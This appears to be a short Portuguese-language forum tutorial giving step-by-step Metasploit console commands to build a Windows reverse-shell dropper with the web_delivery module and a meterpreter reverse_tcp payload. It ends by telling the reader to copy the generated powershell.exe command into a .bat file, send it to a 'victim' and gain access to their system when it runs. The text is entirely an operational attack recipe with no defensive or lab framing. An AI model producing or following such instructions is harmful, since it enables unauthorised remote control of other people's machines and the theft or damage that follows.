Descrição
Abra o console
Código: Selecionar todos
msfconsole
Seleciona o exploit
Código: Selecionar todos
use exploit/multi/script/web_delivery
Sete o host
Código: Selecionar todos
set LHOST seuhost
Sete a porta
Código: Selecionar todos
set LPORT suaporta
Sete o path
Código: Selecionar todos
set URIPATH /
Sete o target
Código: Selecionar todos
set target 2
Sete o payload
Código: Selecionar todos
set PAYLOAD windows/meterpreter/reverse_tcp
Agora vamos exploitar
Código: Selecionar todos
exploit
Copie tudo que vai aparecer desde “powershell.exe” e salve em um arquivo .bat
Mande o bat para a vítima e quando ela executar você terá acesso ao sistema